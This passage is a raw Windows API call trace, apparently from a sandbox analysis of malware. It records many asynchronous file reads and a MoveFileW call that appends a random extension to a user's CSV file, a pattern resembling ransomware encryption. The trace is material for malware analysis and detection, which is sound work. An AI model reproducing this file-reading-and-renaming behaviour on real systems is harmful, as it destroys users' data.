lpNumberOfBytesRead=0x0, lpOverlapped=0x38d2ea0 | out: lpBuffer=0x38d2ff0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38d2ea0) returned 1 [0111.042] RtlGetLastWin32Error () returned 0x3e5 [0111.042] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.042] ReadFile (in: hFile=0x270, lpBuffer=0x38e00c0, nNumberOfBytesToRead=0x12e3a, lpNumberOfBytesRead=0x0, lpOverlapped=0x38dff70 | out: lpBuffer=0x38e00c0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38dff70) returned 1 [0111.043] RtlGetLastWin32Error () returned 0x3e5 [0111.043] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.043] ReadFile (in: hFile=0x280, lpBuffer=0x38f3058, nNumberOfBytesToRead=0x4b3a, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f2f08 | out: lpBuffer=0x38f3058*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f2f08) returned 1 [0111.044] RtlGetLastWin32Error () returned 0x3e5 [0111.044] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.044] ReadFile (in: hFile=0x360, lpBuffer=0x45b3000, nNumberOfBytesToRead=0x1757e, lpNumberOfBytesRead=0x0, lpOverlapped=0x45b2eb0 | out: lpBuffer=0x45b3000*, lpNumberOfBytesRead=0x0, lpOverlapped=0x45b2eb0) returned 1 [0111.045] RtlGetLastWin32Error () returned 0x3e5 [0111.045] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.045] ReadFile (in: hFile=0x364, lpBuffer=0x45ca6d8, nNumberOfBytesToRead=0x700d, lpNumberOfBytesRead=0x0, lpOverlapped=0x45ca588 | out: lpBuffer=0x45ca6d8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x45ca588) returned 1 [0111.046] RtlGetLastWin32Error () returned 0x3e5 [0111.046] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.046] ReadFile (in: hFile=0x368, lpBuffer=0x45d1840, nNumberOfBytesToRead=0xfd5b, lpNumberOfBytesRead=0x0, lpOverlapped=0x45d16f0 | out: lpBuffer=0x45d1840*, lpNumberOfBytesRead=0x0, lpOverlapped=0x45d16f0) returned 1 [0111.047] RtlGetLastWin32Error () returned 0x3e5 [0111.047] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.047] ReadFile (in: hFile=0x36c, lpBuffer=0x45e16f8, nNumberOfBytesToRead=0x15547, lpNumberOfBytesRead=0x0, lpOverlapped=0x45e15a8 | out: lpBuffer=0x45e16f8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x45e15a8) returned 1 [0111.048] RtlGetLastWin32Error () returned 0x3e5 [0111.049] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.049] ReadFile (in: hFile=0x370, lpBuffer=0x45f6d98, nNumberOfBytesToRead=0x11a27, lpNumberOfBytesRead=0x0, lpOverlapped=0x45f6c48 | out: lpBuffer=0x45f6d98*, lpNumberOfBytesRead=0x0, lpOverlapped=0x45f6c48) returned 1 [0111.049] RtlGetLastWin32Error () returned 0x3e5 [0111.050] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.050] ReadFile (in: hFile=0x374, lpBuffer=0x4599488, nNumberOfBytesToRead=0x4763, lpNumberOfBytesRead=0x0, lpOverlapped=0x4599338 | out: lpBuffer=0x4599488*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4599338) returned 1 [0111.050] RtlGetLastWin32Error () returned 0x3e5 [0111.050] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.050] ReadFile (in: hFile=0x378, lpBuffer=0x38f7cf0, nNumberOfBytesToRead=0x7d4, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f7ba0 | out: lpBuffer=0x38f7cf0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f7ba0) returned 1 [0111.051] RtlGetLastWin32Error () returned 0x3e5 [0111.051] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.051] ReadFile (in: hFile=0x380, lpBuffer=0x4608918, nNumberOfBytesToRead=0x17b65, lpNumberOfBytesRead=0x0, lpOverlapped=0x46087c8 | out: lpBuffer=0x4608918*, lpNumberOfBytesRead=0x0, lpOverlapped=0x46087c8) returned 1 [0111.052] RtlGetLastWin32Error () returned 0x3e5 [0111.052] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.053] ReadFile (in: hFile=0x384, lpBuffer=0x46205d8, nNumberOfBytesToRead=0x132b7, lpNumberOfBytesRead=0x0, lpOverlapped=0x4620488 | out: lpBuffer=0x46205d8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4620488) returned 1 [0111.053] RtlGetLastWin32Error () returned 0x3e5 [0111.054] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.054] ReadFile (in: hFile=0x388, lpBuffer=0x46339e8, nNumberOfBytesToRead=0x16ee1, lpNumberOfBytesRead=0x0, lpOverlapped=0x4633898 | out: lpBuffer=0x46339e8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4633898) returned 1 [0111.055] RtlGetLastWin32Error () returned 0x3e5 [0111.055] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.055] ReadFile (in: hFile=0x38c, lpBuffer=0x464aa28, nNumberOfBytesToRead=0xdb39, lpNumberOfBytesRead=0x0, lpOverlapped=0x464a8d8 | out: lpBuffer=0x464aa28*, lpNumberOfBytesRead=0x0, lpOverlapped=0x464a8d8) returned 1 [0111.056] RtlGetLastWin32Error () returned 0x3e5 [0111.056] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.056] ReadFile (in: hFile=0x390, lpBuffer=0x38f8620, nNumberOfBytesToRead=0x538, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f84d0 | out: lpBuffer=0x38f8620*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f84d0) returned 1 [0111.056] RtlGetLastWin32Error () returned 0x3e5 [0111.056] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.057] ReadFile (in: hFile=0x394, lpBuffer=0x46586c0, nNumberOfBytesToRead=0x160d9, lpNumberOfBytesRead=0x0, lpOverlapped=0x4658570 | out: lpBuffer=0x46586c0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4658570) returned 1 [0111.058] RtlGetLastWin32Error () returned 0x3e5 [0111.058] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.058] ReadFile (in: hFile=0x398, lpBuffer=0x466e8f8, nNumberOfBytesToRead=0xd60f, lpNumberOfBytesRead=0x0, lpOverlapped=0x466e7a8 | out: lpBuffer=0x466e8f8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x466e7a8) returned 1 [0111.059] RtlGetLastWin32Error () returned 0x3e5 [0111.059] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.059] ReadFile (in: hFile=0x39c, lpBuffer=0x467c060, nNumberOfBytesToRead=0x11b8b, lpNumberOfBytesRead=0x0, lpOverlapped=0x467bf10 | out: lpBuffer=0x467c060*, lpNumberOfBytesRead=0x0, lpOverlapped=0x467bf10) returned 1 [0111.060] RtlGetLastWin32Error () returned 0x3e5 [0111.060] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.060] ReadFile (in: hFile=0x3a0, lpBuffer=0x468dd48, nNumberOfBytesToRead=0x29c1, lpNumberOfBytesRead=0x0, lpOverlapped=0x468dbf8 | out: lpBuffer=0x468dd48*, lpNumberOfBytesRead=0x0, lpOverlapped=0x468dbf8) returned 1 [0111.061] RtlGetLastWin32Error () returned 0x3e5 [0111.061] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.061] ReadFile (in: hFile=0x3a4, lpBuffer=0x459dd48, nNumberOfBytesToRead=0x1ad4, lpNumberOfBytesRead=0x0, lpOverlapped=0x459dbf8 | out: lpBuffer=0x459dd48*, lpNumberOfBytesRead=0x0, lpOverlapped=0x459dbf8) returned 1 [0111.061] RtlGetLastWin32Error () returned 0x3e5 [0111.062] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.062] ReadFile (in: hFile=0x3a8, lpBuffer=0x4690868, nNumberOfBytesToRead=0x8e29, lpNumberOfBytesRead=0x0, lpOverlapped=0x4690718 | out: lpBuffer=0x4690868*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4690718) returned 1 [0111.062] RtlGetLastWin32Error () returned 0x3e5 [0111.062] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.063] ReadFile (in: hFile=0x3ac, lpBuffer=0x46997f0, nNumberOfBytesToRead=0x7567, lpNumberOfBytesRead=0x0, lpOverlapped=0x46996a0 | out: lpBuffer=0x46997f0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x46996a0) returned 1 [0111.063] RtlGetLastWin32Error () returned 0x3e5 [0111.064] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.064] ReadFile (in: hFile=0x3b0, lpBuffer=0x46a0eb0, nNumberOfBytesToRead=0x175a1, lpNumberOfBytesRead=0x0, lpOverlapped=0x46a0d60 | out: lpBuffer=0x46a0eb0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x46a0d60) returned 1 [0111.065] RtlGetLastWin32Error () returned 0x3e5 [0111.065] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.065] ReadFile (in: hFile=0x3b4, lpBuffer=0x46b85b0, nNumberOfBytesToRead=0xa785, lpNumberOfBytesRead=0x0, lpOverlapped=0x46b8460 | out: lpBuffer=0x46b85b0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x46b8460) returned 1 [0111.066] RtlGetLastWin32Error () returned 0x3e5 [0111.066] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.066] ReadFile (in: hFile=0x3b8, lpBuffer=0x46c2e90, nNumberOfBytesToRead=0xc373, lpNumberOfBytesRead=0x0, lpOverlapped=0x46c2d40 | out: lpBuffer=0x46c2e90*, lpNumberOfBytesRead=0x0, lpOverlapped=0x46c2d40) returned 1 [0111.067] RtlGetLastWin32Error () returned 0x3e5 [0111.067] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.067] ReadFile (in: hFile=0x3bc, lpBuffer=0x46cf360, nNumberOfBytesToRead=0x181dd, lpNumberOfBytesRead=0x0, lpOverlapped=0x46cf210 | out: lpBuffer=0x46cf360*, lpNumberOfBytesRead=0x0, lpOverlapped=0x46cf210) returned 1 [0111.068] RtlGetLastWin32Error () returned 0x3e5 [0111.068] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.068] ReadFile (in: hFile=0x3c0, lpBuffer=0x46e7698, nNumberOfBytesToRead=0x1bc9, lpNumberOfBytesRead=0x0, lpOverlapped=0x46e7548 | out: lpBuffer=0x46e7698*, lpNumberOfBytesRead=0x0, lpOverlapped=0x46e7548) returned 1 [0111.106] RtlGetLastWin32Error () returned 0x3e5 [0111.106] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.106] ReadFile (in: hFile=0x3c4, lpBuffer=0x46e93c0, nNumberOfBytesToRead=0x4532, lpNumberOfBytesRead=0x0, lpOverlapped=0x46e9270 | out: lpBuffer=0x46e93c0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x46e9270) returned 1 [0111.107] RtlGetLastWin32Error () returned 0x3e5 [0111.107] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.107] ReadFile (in: hFile=0x3c8, lpBuffer=0x38f8cb0, nNumberOfBytesToRead=0xdd4, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f8b60 | out: lpBuffer=0x38f8cb0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f8b60) returned 1 [0111.108] RtlGetLastWin32Error () returned 0x3e5 [0111.108] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.108] ReadFile (in: hFile=0x3cc, lpBuffer=0x46eda50, nNumberOfBytesToRead=0x1833b, lpNumberOfBytesRead=0x0, lpOverlapped=0x46ed900 | out: lpBuffer=0x46eda50*, lpNumberOfBytesRead=0x0, lpOverlapped=0x46ed900) returned 1 [0111.109] RtlGetLastWin32Error () returned 0x3e5 [0111.109] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.109] ReadFile (in: hFile=0x3d0, lpBuffer=0x4705ee8, nNumberOfBytesToRead=0x213a, lpNumberOfBytesRead=0x0, lpOverlapped=0x4705d98 | out: lpBuffer=0x4705ee8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4705d98) returned 1 [0111.110] RtlGetLastWin32Error () returned 0x3e5 [0111.110] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.111] ReadFile (in: hFile=0x3d4, lpBuffer=0x4708180, nNumberOfBytesToRead=0x1251, lpNumberOfBytesRead=0x0, lpOverlapped=0x4708030 | out: lpBuffer=0x4708180*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4708030) returned 1 [0111.111] RtlGetLastWin32Error () returned 0x3e5 [0111.111] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.111] ReadFile (in: hFile=0x3d8, lpBuffer=0x4709530, nNumberOfBytesToRead=0x16dad, lpNumberOfBytesRead=0x0, lpOverlapped=0x47093e0 | out: lpBuffer=0x4709530*, lpNumberOfBytesRead=0x0, lpOverlapped=0x47093e0) returned 1 [0111.113] RtlGetLastWin32Error () returned 0x3e5 [0111.113] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.113] ReadFile (in: hFile=0x3dc, lpBuffer=0x4720438, nNumberOfBytesToRead=0x7c0c, lpNumberOfBytesRead=0x0, lpOverlapped=0x47202e8 | out: lpBuffer=0x4720438*, lpNumberOfBytesRead=0x0, lpOverlapped=0x47202e8) returned 1 [0111.114] RtlGetLastWin32Error () returned 0x3e5 [0111.114] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.114] ReadFile (in: hFile=0x3e0, lpBuffer=0x47281a0, nNumberOfBytesToRead=0x4c38, lpNumberOfBytesRead=0x0, lpOverlapped=0x4728050 | out: lpBuffer=0x47281a0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4728050) returned 1 [0111.116] RtlGetLastWin32Error () returned 0x3e5 [0111.116] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.116] ReadFile (in: hFile=0x3e4, lpBuffer=0x472cf30, nNumberOfBytesToRead=0x8ba6, lpNumberOfBytesRead=0x0, lpOverlapped=0x472cde0 | out: lpBuffer=0x472cf30*, lpNumberOfBytesRead=0x0, lpOverlapped=0x472cde0) returned 1 [0111.117] RtlGetLastWin32Error () returned 0x3e5 [0111.117] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.117] ReadFile (in: hFile=0x3e8, lpBuffer=0x4735c30, nNumberOfBytesToRead=0xc362, lpNumberOfBytesRead=0x0, lpOverlapped=0x4735ae0 | out: lpBuffer=0x4735c30*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4735ae0) returned 1 [0111.119] RtlGetLastWin32Error () returned 0x3e5 [0111.119] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.119] ReadFile (in: hFile=0x3ec, lpBuffer=0x397fb20, nNumberOfBytesToRead=0x36c, lpNumberOfBytesRead=0x0, lpOverlapped=0x397f9d0 | out: lpBuffer=0x397fb20*, lpNumberOfBytesRead=0x0, lpOverlapped=0x397f9d0) returned 1 [0111.125] RtlGetLastWin32Error () returned 0x3e5 [0111.125] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.233] ReadFile (in: hFile=0x3f4, lpBuffer=0x397e3f0, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x0, lpOverlapped=0x397e2a0 | out: lpBuffer=0x397e3f0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x397e2a0) returned 1 [0111.234] RtlGetLastWin32Error () returned 0x3e5 [0111.234] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.353] CloseHandle (hObject=0x344) returned 1 [0111.371] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe0) returned 0x2070c20 [0111.371] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\chQiNux5apW.csv" (normalized: "c:\\users\\keecfmwgj\\documents\\chqinux5apw.csv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\chQiNux5apW.csv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\chqinux5apw.csv.06ak3t5y")) returned 1 [0111.677] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0111.678] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068350) returned 1 [0111.678] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4534350) returned 1 [0111.678] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.794] ReadFile (in: hFile=0x430, lpBuffer=0x48b0170, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x0, lpOverlapped=0x48b0020 | out: lpBuffer=0x48b0170*, lpNumberOfBytesRead=0x0, lpOverlapped=0x48b0020) returned 1 [0111.834] RtlGetLastWin32Error () returned 0x3e5 [0111.834] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.914] ReadFile (in: hFile=0x43c, lpBuffer=0x4bb0170, nNumberOfBytesToRead=0xce875, lpNumberOfBytesRead=0x0, lpOverlapped=0x4bb0020 | out: lpBuffer=0x4bb0170*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4bb0020) returned 1 [0111.948] RtlGetLastWin32Error () returned 0x3e5 [0111.948] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.956] ReadFile (in: hFile=0x444, lpBuffer=0x4d20170, nNumberOfBytesToRead=0xbd616, lpNumberOfBytesRead=0x0, lpOverlapped=0x4d20020 | out: lpBuffer=0x4d20170*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4d20020) returned 1 [0111.974] RtlGetLastWin32Error () returned 0x3e5 [0111.974] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0111.974] ReadFile (in: hFile=0x448, lpBuffer=0x4de0170, nNumberOfBytesToRead=0xbea1f, lpNumberOfBytesRead=0x0, lpOverlapped=0x4de0020 | out: lpBuffer=0x4de0170*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4de0020) returned 1 [0111.995] RtlGetLastWin32Error () returned 0x3e5 [0111.995] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, 